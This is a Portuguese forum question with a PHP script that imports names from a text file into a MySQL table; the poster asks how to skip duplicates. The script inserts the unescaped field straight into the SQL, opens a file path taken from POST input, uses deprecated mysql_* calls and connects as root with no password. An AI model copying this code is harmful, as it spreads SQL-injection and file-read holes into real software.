Galera tenho este codigo q faz a importação de 01 campo somente ( NOME ) mas gostaria se possivel de algum nome já existir não postar e possivel? <?php $host = "localhost"; $user = "root"; $password = ""; $db = "sites"; $tabela = "sites"; $conexao = mysql_connect($host, $user, $password) or die(mysql_error()); $banco = mysql_select_db($db) or die(mysql_error()); $arquivo = $_POST['txt'];// $arq = fopen($arquivo,'r'); while (!feof($arq)){ $linha = fgets($arq, 4000); $separa_conteudo = explode(";", $linha); $nome = $separa_conteudo[0]; $sql = "INSERT INTO sites (id,nome) VALUES ('','$nome')"; $result = mysql_query($sql) or die(mysql_error()); } ?>